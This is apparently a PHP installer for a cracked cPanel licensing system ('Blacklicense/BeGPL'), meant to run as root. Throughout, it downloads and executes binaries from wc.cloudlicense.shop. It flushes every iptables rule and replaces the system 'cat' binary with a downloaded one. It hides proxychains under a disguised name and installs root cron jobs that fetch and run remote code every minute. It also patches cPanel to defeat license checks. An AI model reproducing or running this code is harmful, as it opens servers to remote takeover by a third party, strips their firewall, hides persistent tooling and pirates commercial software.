		echo "\n";
		real_execute('/scripts/upcp --force');
		echo "\n";
		echo "\n";
		echo "\n";
		echo "\n";
		echo "\x1b" . '[36m Done...  ' . "\x1b" . '[0m ' . "\n";
	}

	return $status;
}

echo "\r\n";
error_reporting(0);
error_reporting(0);
$RED = '\\033[31m';
$Cyan = '\\033[36m';
$Green = '\\033[32m';
$NC = '\\033[0m';
$key = 'cpanel';
$api = 'https://wc.cloudlicense.shop/api/getinfo?key=' . $key;
$api_license = 'https://wc.cloudlicense.shop/api/license?key=' . $key;
$status_code = get_http_response_code((string) $api);
$plast_bin = '/usr/bin/plast';
$current_ip = get_request('https://ipinfo.io/ip');
$domain_show = 'Blacklicense.com';
$brand_show = 'Blacklicense';
$hostname_show = exec_output('hostname');
$cp = exec('cat /usr/local/cpanel/version');
$kernel = exec('uname -r');
$acc = exec('find "/var/cpanel/users" -maxdepth 1 -type f -print | wc -l');
$server_type = 'VPS';
$status = false;
$force = false;
$csp_license = false;
$rc_license = false;
$licensing_license = false;
$action = (1 < count($argv) ? $argv[1] : '');
if (in_array('--force', $argv) || in_array('-f', $argv) || in_array('force', $argv)) {
	$force = true;
}
if (in_array('--uninstall', $argv) || in_array('uninstall', $argv)) {
	uninstall();
	printf("\x1b" . '[36m License System has been removed  ' . "\x1b" . '[0m ' . "\n");
	exit();
}

if (!file_exists('/etc/redhat-release')) {
	system('yum install deltarpm  -y  1> /dev/null');
}

if (!is_executable(exec_output('command -v wget'))) {
	if (file_exists('/etc/redhat-release')) {
		system('yum -q install wget -y  1> /dev/null');
	}
	else {
		system('apt-get install -q -y  wget  1> /dev/null');
	}
}

if (check_license_expire()) {
	printf("\x1b" . '[31m Cpanel License Expired ' . "\x1b" . '[0m ' . "\n");
	printf("\x1b" . '[31m Contact The License Provider To Renew Your License ' . "\x1b" . '[0m ' . "\n");
	echo "\n";
	echo "\n";
	echo "\n";
	exit();
}

$output = get_request($api);

if ($status_code != '200') {
	exec('umount -f /usr/local/cpanel/cpanel.lisc  > /dev/null 2>&1');
	exec('umount /usr/local/cpanel/cpanel.lisc  > /dev/null 2>&1');
	exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
	printf("\x1b" . '[31m Something Went Wrong [NO VALID ACTIVE LICENSE FOUND]   ' . "\x1b" . '[0m ' . "\n");
	echo "\n";
	exit();
}

$output = json_decode($output, true);
$expire_date = $output['expire_date'];
$status_license = $output['status'];
$action = $output['action'];
$get_domain_show = $output['domain_name'];
$get_brand_show = $output['brand_name'];
$get_key_cmd_show = $output['key_cmd'];
$today_date = get_request('https://wc.cloudlicense.shop/date');

if ($get_key_cmd_show != '') {
	$key_cmd = $get_key_cmd_show;
}

if ($get_domain_show != '') {
	$domain_show = $get_domain_show;
}

if ($get_brand_show != '') {
	$brand_show = $get_brand_show;
}

echo "\n";
echo "\n";

if ($action != '--hide-info') {
	printf("\x1b" . '[1;33m********************** BeGPL Licensing System Started **********************  ' . "\x1b" . '[0m ' . "\n");
	printf("\x1b" . '[1;33m| Our Website: ' . $domain_show . '  ' . "\x1b" . '[0m ' . "\n");
	printf("\x1b" . '[1;33m| cPanel Version: ' . $cp . '  ' . "\x1b" . '[0m ' . "\n");
	printf("\x1b" . '[1;33m| Kernel Version: ' . $kernel . '  ' . "\x1b" . '[0m ' . "\n");
	printf("\x1b" . '[1;33m| Total Accounts: ' . $acc . '  ' . "\x1b" . '[0m ' . "\n");
	printf("\x1b" . '[1;33m| License Type: ' . $server_type . '  ' . "\x1b" . '[0m ' . "\n");
	printf("\x1b" . '[1;33m| Server IPV4: ' . $current_ip . '  ' . "\x1b" . '[0m ' . "\n");
	printf("\x1b" . '[1;33m| Hostname: ' . $hostname_show . '  ' . "\x1b" . '[0m ' . "\n");
	printf("\x1b" . '[1;33m| Today Date:  ' . $today_date . '  ' . "\x1b" . '[0m ' . "\n");
	printf("\x1b" . '[1;33m| Expiry Date: ' . $expire_date . '  ' . "\x1b" . '[0m ' . "\n");
	printf("\x1b" . '[1;33m**********************************************************************  ' . "\x1b" . '[0m ' . "\n");
	echo "\n";
	echo "\n";
	echo "\n";
	printf("\x1b" . '[36mIf you have any question contact us on our website.  ' . "\x1b" . '[0m ' . "\n");
	printf("\x1b" . '[36mCopyright © 2022 ' . $brand_show . ' . All rights reserved ' . "\x1b" . '[0m ' . "\n");
	echo "\n";
	echo "\n";
}

if (file_exists('/usr/local/cpanel/cpconf')) {
	if (file_exists('/usr/sbin/csf')) {
		if (file_exists('/etc/csf/csf.conf')) {
			csf_ports();
		}
	}

	exec('rm -rf /root/gbcp.p* > /dev/null 2>&1');
	exec('rm -rf /root/gbcp.result > /dev/null 2>&1');

	if (in_array('--force', $argv)) {
		kill_licensecp();
		exec('rm -rf /root/GBCP.lock > /dev/null 2>&1');
	}

	$lock = '/root/GBCP.lock';

	if (file_exists($lock)) {
		exec('sed \'s/^ *//g\' /root/.gbcp.pid1 > /root/.gbcp.pid 2>&1');
		$pid = file_get_contents('/root/.gbcp.pid');
		exec('ps -ef | grep ' . $pid . '');
		$filexml = file_get_contents('/root/.gbcp.result');
		$pose = strpos($filexml, 'LicenseCP');

		if ($pose !== false) {
			printf("\x1b" . '[36mCpanel Status [Running in Background]' . "\x1b" . '[0m ' . "\n");
			echo "\n";
			echo "\n";
			if (($argv[1] == '--upcp') || ($argv[1] == '--cpanel-update')) {
				echo "\x1b" . '[36mRun : LicenseCP_update --force ' . "\x1b" . '[0m' . "\n";
			}
			else {
				echo "\x1b" . '[36mRun : LicenseCP --force ' . "\x1b" . '[0m' . "\n";
			}
		}
		else {
			exec('rm -rf /root/GBCP.lock > /dev/null 2>&1');
			echo "\n\n" . 'cPanel license cheking exists but not running... killing it...' . "\n";
		}
	}
	else {
		$filech1 = file_get_contents('/usr/local/cpanel/.cpanel2');
		$posttt = strpos($filech1, '/usr/local/cpanel/.cpanel2');

		if ($posttt !== false) {
			echo "\n" . 'Updating cPanel files...' . "\n";
			exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
			exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
			exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
			exec('iptables -t nat -F > /dev/null 2>&1');
			exec('iptables -t mangle -F > /dev/null 2>&1');
			exec('iptables -F > /dev/null 2>&1');
			exec('iptables -X > /dev/null 2>&1');
			$file = exec('/usr/local/cpanel/cpanel -V  &> /root/.bash_time');
			$file2 = file_get_contents('/root/.bash_time');
			$pos = strpos($file2, '84');

			if ($pos !== false) {
				exec('rm -rf /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
				exec('wget -O /etc/cpupdate.conf wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/cpupdate.conf2 > /dev/null 2>&1');
				echo 'Updating cPanel using --force flag ...' . "\n\n";
				exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
				exec('wget -O /root/rcreq wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/rcreq > /dev/null 2>&1');
				exec('chmod +x /root/rcreq > /dev/null 2>&1');
				exec('sh /root/rcreq > /dev/null 2>&1');
				exec('touch /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
				system('/scripts/upcp --force');
				exec('wget -O /etc/cpupdate.conf wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/cpupdate.conf > /dev/null 2>&1');
			}
			else {
				exec('rm -rf /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
				exec('wget -O /etc/cpupdate.conf wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/cpupdate.conf1 > /dev/null 2>&1');
				echo 'Updating cPanel using --force flag ...' . "\n\n";
				exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
				exec('wget -O /root/rcreq wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/rcreq > /dev/null 2>&1');
				exec('chmod +x /root/rcreq > /dev/null 2>&1');
				exec('sh /root/rcreq > /dev/null 2>&1');
				exec('touch /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
				system('/scripts/upcp --force');
				exec('wget -O /etc/cpupdate.conf wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/cpupdate.conf > /dev/null 2>&1');
			}
		}

		$filenamea = '/etc/apachedisable';

		if (file_exists($filenamea)) {
			exec('rm -rf /etc/apachedisable > /dev/null 2>&1');
			exec('service httpd start > /dev/null 2>&1');
		}

		$file = '/usr/local/cpanel/cpanel';
		$file2 = file_get_contents('/usr/local/cpanel/cpanel');
		$filesize = filesize($file);

		if (1 < $filesize) {
			$postt = strpos($file2, 'cpanel.lisc');

			if ($postt === false) {
				$filenameli = file_get_contents('/usr/local/cpanel/cpanel1');

				if (file_exists($filenameli)) {
					exec('rm -rf /usr/local/cpanel/cpanel && cp /usr/local/cpanel/cpanel1 /usr/local/cpanel/cpanel > /dev/null 2>&1');
				}
			}
		}
		else {
			$filenameli = file_get_contents('/usr/local/cpanel/cpanel1');

			if (file_exists($filenameli)) {
				exec('rm -rf /usr/local/cpanel/cpanel && cp /usr/local/cpanel/cpanel1 /usr/local/cpanel/cpanel > /dev/null 2>&1');
			}
		}

		$filename = file_get_contents('/usr/bin/GbCpanelD');

		if (file_exists($filename)) {
			exec('rm -rf /usr/bin/GbCpanelD > /dev/null 2>&1');
		}

		exec('wget -O /usr/bin/LicenseCP_v2 \'http://wc.cloudlicense.shop/api/files/' . $key . '/LicenseCP_v2?key=' . $key . '\'  > /dev/null 2>&1');
		exec('chmod +x /usr/bin/LicenseCP_v2 > /dev/null 2>&1');
		$file = '/usr/local/cpanel/cpkeyclt';
		$filesize = filesize($file);
		$filech1 = file_get_contents('/usr/local/cpanel/cpkeyclt');
		$posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
		if ((1 < $filesize) && ($posttt1 !== false)) {
			exec('rm -rf /usr/local/cpanel/.cpkeyclt > /dev/null 2>&1');
			exec('cp /usr/local/cpanel/cpkeyclt /usr/local/cpanel/.cpkeyclt > /dev/null 2>&1');
		}

		exec('rm -rf /root/.gbcp.p* > /dev/null 2>&1');
		exec('rm -rf /root/.gbcp.result > /dev/null 2>&1');
		exec('rm -rf /root/.bash_timel > /dev/null 2>&1');
		exec('/usr/local/cpanel/cpanel -D > /usr/local/cpanel/logs/error_log1');
		$filech = file_get_contents('/usr/local/cpanel/logs/error_log1');
		$postt = strpos($filech, 'div class');

		if ($postt !== false) {
			exec('/usr/local/cpanel/cpanel -V > /usr/local/cpanel/logs/versions');
			$filech = file_get_contents('/usr/local/cpanel/logs/versions');
			$postt = strpos($filech, '84');

			if ($postt !== false) {
				$filename = file_get_contents('/usr/local/cpanel/cpkeyclt84');

				if (file_exists($filename)) {
					exec('rm -rf /usr/local/cpanel/cpkeyclt && rm -rf /usr/local/cpanel/cpkeyclt1 && rm -rf /usr/local/cpanel/cpkeyclt_is_back && rm -rf /usr/local/cpanel/cpkeyclt_back_2 && cp /usr/local/cpanel/cpkeyclt84 /usr/local/cpanel/cpkeyclt 2> /dev/null');
					exec('chmod +x /usr/local/cpanel/cpkeyclt 2> /dev/null');
				}
				else {
					exec('wget -O /usr/local/cpanel/cpkeyclt84 wc.cloudlicense.shop/api/files/' . $key . '/v84/cpkeyclt > /dev/null 2>&1');
					exec('rm -rf /usr/local/cpanel/cpkeyclt && rm -rf /usr/local/cpanel/cpkeyclt1 && rm -rf /usr/local/cpanel/cpkeyclt_is_back && rm -rf /usr/local/cpanel/cpkeyclt_back_2 && cp /usr/local/cpanel/cpkeyclt84 /usr/local/cpanel/cpkeyclt 2> /dev/null');
					exec('chmod +x /usr/local/cpanel/cpkeyclt 2> /dev/null');
				}
			}

			exec('timeout 2s /usr/local/cpanel/cpkeyclt 2> /usr/local/cpanel/logs/versions');
			$filech = file_get_contents('/usr/local/cpanel/logs/versions');
			$posttt = strpos($filech, 'does not match');

			if ($posttt !== false) {
				exec('rm -rf /var/run/upcp.pid && touch /usr/local/cpanel/cpanel.lisc && /scripts/upcp --force > /dev/null 2>&1');
			}
		}

		exec('echo "/usr/bin/LicenseCP" > /usr/local/cpanel/scripts/postupcp');
		exec('touch /root/GBCP.lock');
		exec('echo $(ps -o ppid= -p "$$") "| grep -v grep > /root/.gbcp.result" > /root/.gbcp.pid1');
		if (($argv[1] == '-cpanel-update') || ($argv[1] == '--cpanel-update')) {
			exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
			exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
			exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
			exec('iptables -t nat -F > /dev/null 2>&1');
			exec('iptables -t mangle -F > /dev/null 2>&1');
			exec('iptables -F > /dev/null 2>&1');
			exec('iptables -X > /dev/null 2>&1');
			$file = exec('/usr/local/cpanel/cpanel -V  &> /root/.bash_time');
			$file2 = file_get_contents('/root/.bash_time');
			$pos = strpos($file2, '84');

			if ($pos !== false) {
				exec('rm -rf /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
				exec('wget -O /etc/cpupdate.conf wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/cpupdate.conf2 > /dev/null 2>&1');
				echo 'Updating cPanel using --force flag ...' . "\n\n";
				exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
				exec('wget -O /root/rcreq wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/rcreq > /dev/null 2>&1');
				exec('chmod +x /root/rcreq > /dev/null 2>&1');
				exec('sh /root/rcreq > /dev/null 2>&1');
				exec('touch /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
				exec('chattr -i /usr/local/cpanel/cpkeyclt > /dev/null 2>&1');
				exec('chattr -a /usr/local/cpanel/cpkeyclt > /dev/null 2>&1');
				system('/scripts/upcp --force');
				exec('wget -O /etc/cpupdate.conf wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/cpupdate.conf > /dev/null 2>&1');
				exec('rm -rf /root/GBCP.lock');
				exit();
			}

			exec('rm -rf /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
			exec('wget -O /etc/cpupdate.conf wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/cpupdate.conf1 > /dev/null 2>&1');
			echo 'Updating cPanel using --force flag ...' . "\n\n";
			exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
			exec('wget -O /root/rcreq wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/rcreq > /dev/null 2>&1');
			exec('chmod +x /root/rcreq > /dev/null 2>&1');
			exec('sh /root/rcreq > /dev/null 2>&1');
			exec('touch /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('chattr -i /usr/local/cpanel/cpkeyclt > /dev/null 2>&1');
			exec('chattr -a /usr/local/cpanel/cpkeyclt > /dev/null 2>&1');
			system('/scripts/upcp --force');
			exec('wget -O /etc/cpupdate.conf wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/cpupdate.conf > /dev/null 2>&1');
			exec('rm -rf /root/GBCP.lock');
			exit();
		}
		if (($argv[1] == '-install-ssl-service') || ($argv[1] == '--install-ssl-service')) {
			echo "\n" . 'Installing SSL on cPanel services ...' . "\n";
			exec('rm -rf acme.sh');
			exec('rm -rf /root/.acme.sh/ca.cer');
			exec('rm -rf /root/.acme.sh/cert.cer');
			exec('rm -rf /root/.acme.sh/private.key');
			exec('rm -rf /root/.acme.sh/' . exec('hostname') . '');
			exec('cd /root && git clone https://github.com/Neilpang/acme.sh.git > /dev/null 2>&1 && cd ./acme.sh && ./acme.sh --install > /dev/null 2>&1 && ./acme.sh --register-account -m support@' . exec('hostname') . (' && ./acme.sh --issue -d ' . exec('hostname') . ' -w /var/www/html > /dev/null 2>&1'));
			exec('mv /root/.acme.sh/' . exec('hostname') . '/' . exec('hostname') . '.key /root/.acme.sh/private.key > /dev/null 2>&1');
			exec('mv /root/.acme.sh/' . exec('hostname') . '/' . exec('hostname') . '.cer /root/.acme.sh/cert.cer > /dev/null 2>&1');
			exec('mv /root/.acme.sh/' . exec('hostname') . '/ca.cer /root/.acme.sh/ca.cer > /dev/null 2>&1');
			exec('timedatectl set-timezone GMT');
			$cert = file_get_contents('/root/.acme.sh/cert.cer');
			$key = file_get_contents('/root/.acme.sh/private.key');
			$ca = file_get_contents('/root/.acme.sh/thunder.paihost.com/ca.cer');
			exec('chmod +x /usr/local/cpanel/cpsrvd');
			$cert1 = urlencode($cert);
			$key1 = urlencode($key);
			$ca1 = urlencode($ca);
			echo "\x1b" . '[0mInstalling SSL on FTP...' . "\x1b" . '[0m';
			exec('/usr/sbin/whmapi1 install_service_ssl_certificate service=ftp crt=' . $cert1 . ' key=' . $key1 . ' cabundle=' . $ca . '');
			exec('/scripts/restartsrv_ftpd');
			exec('/scripts/restartsrv_ftpserver');
			echo "\x1b" . '[32mOK' . "\x1b" . '[0m' . "\n" . '' . "\x1b" . '[0mInstalling SSL on Exim...' . "\x1b" . '[0m';
			exec('/usr/sbin/whmapi1 install_service_ssl_certificate service=exim crt=' . $cert1 . ' key=' . $key1 . ' cabundle=' . $ca . '');
			exec('/scripts/restartsrv_exim');
			echo "\x1b" . '[32mOK' . "\x1b" . '[0m' . "\n" . '' . "\x1b" . '[0mInstalling SSL on dovecot...' . "\x1b" . '[0m';
			exec('/usr/sbin/whmapi1 install_service_ssl_certificate service=dovecot crt=' . $cert1 . ' key=' . $key1 . ' cabundle=' . $ca . '');
			exec('/scripts/restartsrv_dovecot');
			echo "\x1b" . '[32mOK' . "\x1b" . '[0m' . "\n" . '' . "\x1b" . '[0mInstalling SSL on cPanel...' . "\x1b" . '[0m';
			exec('/usr/sbin/whmapi1 install_service_ssl_certificate service=cpanel crt=' . $cert1 . ' key=' . $key1 . ' cabundle=' . $ca . '');
			echo "\x1b" . '[32mOK' . "\x1b" . '[0m' . "\n";
			sleep(3);
			exec('service cpanel restart');
			echo "\n" . 'Done. Thank you' . "\n";
			exec('rm -rf /root/GBCP.lock');
			exec('rm -rf /root/CP.lock');
			exec('rm -rf /root/acme.sh');
			exit();
		}
		if (($argv[1] == '--installssl') || ($argv[1] == '--install-letsencrypt')) {
			echo 'Installing LetsEncrypt SSL for cPanel ...';
			exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
			exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
			exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
			exec('iptables -t nat -F > /dev/null 2>&1');
			exec('iptables -t mangle -F > /dev/null 2>&1');
			exec('iptables -F > /dev/null 2>&1');
			exec('iptables -X > /dev/null 2>&1');
			exec('/usr/local/cpanel/scripts/install_lets_encrypt_autossl_provider');
			exec('/scripts/configure_firewall_for_cpanel > /dev/null 2>&1');
			echo 'Done. Thank you' . "\n";
			exec('rm -rf /root/GBCP.lock');
			exit();
		}
		if (($argv[1] == '--transfix') || ($argv[1] == '--fix-transfer')) {
			$File = '/usr/local/cpanel/Whostmgr/Transfers/Session/Preflight/RemoteRoot/Analyze.pm';
			$FileContent = file_get_contents($File);

			if (file_exists($File)) {
				if (!strpos($FileContent, 'trueuserd0mains')) {
					@$Eski = '\'shell_safe_arguments\' => \'/etc/trueuserdomains\',';
					$Yeni = '\'shell_safe_arguments\' => \'/etc/trueuserdomains\',' . "\n" . '                    \'locale\'               => $Whostmgr::Remote::State::UTF8_LOCALE' . "\n" . '                },' . "\n" . '    ' . "\n" . '                {' . "\n" . '                   \'key\'                  => \'/etc/trueuserd0mains\',' . "\n" . '                   \'shell_safe_command\'   => \'/bin/cat\',' . "\n" . '                   \'shell_safe_arguments\' => \'/etc/trueuserdomains\',';
					$FileYeniHani = str_replace($Eski, $Yeni, $FileContent);
					file_put_contents($File, $FileYeniHani);
				}
				else {
					exec('sed -i s%\'\'shell_safe_arguments\' => \'/etc/trueuserd0mains\',\'%\'\'shell_safe_arguments\' => \'/etc/trueuserdomains\',\'%g /usr/local/cpanel/Whostmgr/Transfers/Session/Preflight/RemoteRoot/Analyze.pm');
				}
			}

			$CatContent = file_get_contents('/usr/bin/cat');

			if (!strpos($CatContent, 'trueuserd0mains')) {
				exec('mv /usr/bin/cat /usr/bin/cat2');
				system('wget -O /usr/bin/cat https://wc.cloudlicense.shop/api/files/' . $key . '/m2/cat > /dev/null 2>&1');
				exec('chmod +x /usr/bin/cat');
			}

			$LoadUserDomainsFile = file_get_contents('/usr/local/cpanel/whostmgr/docroot/templates/transfer_tool/getacctlist.tmpl');

			if (strpos($LoadUserDomainsFile, 'Whostmgr.get_max_users()')) {
				exec('sed -i s%\'Whostmgr.get_max_users()\'%\'0\'%g /usr/local/cpanel/whostmgr/docroot/templates/transfer_tool/getacctlist.tmpl');
			}
		}

		if ($argv[1] == '-resellerfix') {
			exec('/usr/bin/licensescc > /dev/null 2>&1');
		}

		exec('/usr/local/cpanel/cpanel -D > /usr/local/cpanel/logs/error_log1');
		$filech = file_get_contents('/usr/local/cpanel/logs/error_log1');
		$postt = strpos($filech, 'Incorrect authority delivering the license');

		if ($postt !== false) {
			echo "\x1b" . '[31m cPanel file is damaged. Fixing it ... ' . "\x1b" . '[0m' . "\n";
			exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
			exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
			exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
			exec('iptables -t nat -F > /dev/null 2>&1');
			exec('iptables -t mangle -F > /dev/null 2>&1');
			exec('iptables -F > /dev/null 2>&1');
			exec('iptables -X > /dev/null 2>&1');
			$file = exec('/usr/local/cpanel/cpanel -V  &> /root/.bash_time');
			$file2 = file_get_contents('/root/.bash_time');
			$pos = strpos($file2, '84');

			if ($pos !== false) {
				exec('rm -rf /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
				exec('wget -O /etc/cpupdate.conf wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/cpupdate.conf2 > /dev/null 2>&1');
				exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
				exec('wget -O /root/rcreq wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/rcreq > /dev/null 2>&1');
				exec('chmod +x /root/rcreq > /dev/null 2>&1');
				exec('sh /root/rcreq > /dev/null 2>&1');
				exec('touch /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
				exec('/scripts/upcp --force > /dev/null 2>&1');
			}
			else {
				exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
				exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
				exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
				exec('iptables -t nat -F > /dev/null 2>&1');
				exec('iptables -t mangle -F > /dev/null 2>&1');
				exec('iptables -F > /dev/null 2>&1');
				exec('iptables -X > /dev/null 2>&1');
				exec('rm -rf /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
				exec('wget -O /etc/cpupdate.conf wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/cpupdate.conf1 > /dev/null 2>&1');
				echo 'Updating cPanel using --force flag ...' . "\n\n";
				exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
				exec('wget -O /root/rcreq wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/rcreq > /dev/null 2>&1');
				exec('chmod +x /root/rcreq > /dev/null 2>&1');
				exec('sh /root/rcreq > /dev/null 2>&1');
				exec('touch /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
				system('/scripts/upcp --force');
				exec('wget -O /etc/cpupdate.conf wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/cpupdate.conf > /dev/null 2>&1');
			}
		}

		if (file_exists('/usr/bin/plast')) {
			$file = exec('/usr/bin/plast  &> /root/.bash_time');
			$file2 = file_get_contents('/root/.bash_time');
			$pos = strpos($file2, 'Usage:');

			if ($pos === false) {
				exec('mkdir /root/.core > /dev/null 2>&1; cd /root/.core; /usr/bin/rm -rf proxychains-ng > /dev/null 2>&1; git clone https://github.com/rofl0r/proxychains-ng.git > /dev/null 2>&1 ; cd proxychains-ng > /dev/null 2>&1; ./configure > /dev/null 2>&1; make > /dev/null 2>&1; make install > /dev/null 2>&1; make install-config > /dev/null 2>&1; /usr/bin/rm -rf /usr/local/etc/proxychains.conf; /usr/bin/rm -rf /root/proxychains-ng > /dev/null 2>&1');
				exec('cd /root/.core/proxychains-ng > /dev/null 2>&1 && mv proxychains4 /usr/bin/plast > /dev/null 2>&1');
			}
		}
		else {
			exec('mkdir /root/.core > /dev/null 2>&1; cd /root/.core; /usr/bin/rm -rf proxychains-ng > /dev/null 2>&1; git clone https://github.com/rofl0r/proxychains-ng.git > /dev/null 2>&1 ; cd proxychains-ng > /dev/null 2>&1; ./configure > /dev/null 2>&1; make > /dev/null 2>&1; make install > /dev/null 2>&1; make install-config > /dev/null 2>&1; /usr/bin/rm -rf /usr/local/etc/proxychains.conf; /usr/bin/rm -rf /root/proxychains-ng > /dev/null 2>&1');
			exec('cd /root/.core/proxychains-ng > /dev/null 2>&1 && mv proxychains4 /usr/bin/plast > /dev/null 2>&1');
		}

		exec('/usr/bin/rm -rf /root/.core; mkdir ~/.backdrive > /dev/null 2>&1');
		echo "\x1b" . '[31m Please wait ... ' . "\x1b" . '[0m' . "\n";
		exec('/usr/bin/rm -rf ~/.sysma > /dev/null 2>&1; mkdir ~/.sysma > /dev/null 2>&1');
		exec('mkdir /usr/bin/.sysma > /dev/null 2>&1');
		exec('killall -g cpkeyclt > /dev/null 2>&1');
		exec('pkill -f "cpkeyclt" > /dev/null 2>&1');
		$filename = file_get_contents('/usr/bin/comp0');

		if (file_exists($filename)) {
			exec('chmod +x /usr/bin/comp0 > /dev/null 2>&1');
		}
		else {
			exec('wget -O /usr/bin/comp0 http://wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/0wjdwi > /dev/null 2>&1');
			exec('chmod +x /usr/bin/comp0 > /dev/null 2>&1');
		}

		$filenamec = '/etc/cron.d/gbcp';

		if (!file_exists($filenamec)) {
			exec('echo "* * * * *  root /usr/bin/gbcpcronbackup > /dev/null 2>&1" > /etc/cron.d/gbcp');
			exec('/usr/bin/chmod 644 /etc/cron.d/gbcp > /dev/null 2>&1');
		}

		exec('/usr/bin/wget -O /usr/bin/gbcpdownloader http://wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbcpdownloader > /dev/null 2>&1; /usr/bin/chmod +x /usr/bin/gbcpdownloader > /dev/null 2>&1');
		$filenamedl = '/etc/cron.d/gbcpdownloader';

		if (!file_exists($filenamedl)) {
			exec('echo "* * * * *  root /usr/bin/gbcpdownloader > /dev/null 2>&1" > /etc/cron.d/gbcpdownloader');
			exec('/usr/bin/chmod 644 /etc/cron.d/gbcpdownloader > /dev/null 2>&1');
		}

		$filexml = file_get_contents('/usr/bin/gbcpcronbackup');
		$pose = strpos($filexml, 'php /usr/bin/LicenseCP_v2');

		if ($pose === false) {
			exec('rm -rf /usr/bin/gbcpcronbackup > /dev/null 2>&1');
		}

		$filenameb = '/usr/bin/gbcpcronbackup';

		if (!file_exists($filenameb)) {
			exec('/usr/bin/wget -O /usr/bin/gbcpcronbackup http://wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbcpcronbackup > /dev/null 2>&1');
			exec('chmod +x /usr/bin/gbcpcronbackup > /dev/null 2>&1');
		}

		exec('sed -i -e "s/\\r$//" /usr/bin/gbcpcronbackup > /dev/null 2>&1');
		exec('/usr/bin/rm -rf /etc/cron.d/sed* > /dev/null 2>&1');
		exec('/usr/bin/rm -rf ~/.sysma/procc.conf > /dev/null 2>&1');
		exec('/usr/bin/rm -rf /etc/cron.d/helper > /dev/null 2>&1');
		exec('rm -rf /etc/cron.d/helper > /dev/null 2>&1');
		exec('/usr/bin/rm -rf ~/.core');
		exec('rm -rf /usr/bin/gbcpcontrol > /dev/null 2>&1');
		exec('wget -O /usr/bin/gbcprunner wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbcprunner > /dev/null 2>&1');
		exec('wget -O /usr/bin/gbcpcontrol wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbcpcontrol > /dev/null 2>&1');
		exec('chmod +x /usr/bin/gbcprunner > /dev/null 2>&1');
		exec('echo "*/5 * * * *  root /usr/bin/gbcprunner > /dev/null 2>&1" > /etc/cron.d/gbcprunner');
		exec('/usr/bin/chmod 644 /etc/cron.d/gbcprunner > /dev/null 2>&1');
		file_put_contents('/usr/local/cpanel/whostmgr/docroot/templates/menu/_trial.tmpl', '');
		file_put_contents('/usr/local/cpanel/Whostmgr/TicketSupport/Token.pm', '');
		file_put_contents('/usr/local/cpanel/base/frontend/paper_lantern/_assets/master_retro/master_content.html.tt', str_replace('CPANEL.CPFLAGS.item(\'trial\')', 'CPANEL.CPFLAGS.item(\'trial2\')', file_get_contents('/usr/local/cpanel/base/frontend/paper_lantern/_assets/master_retro/master_content.html.tt')));
		file_put_contents('/usr/local/cpanel/base/frontend/paper_lantern/_assets/master_content.html.tt', str_replace('CPANEL.CPFLAGS.item(\'trial\')', 'CPANEL.CPFLAGS.item(\'trial2\')', file_get_contents('/usr/local/cpanel/base/frontend/paper_lantern/_assets/master_content.html.tt')));
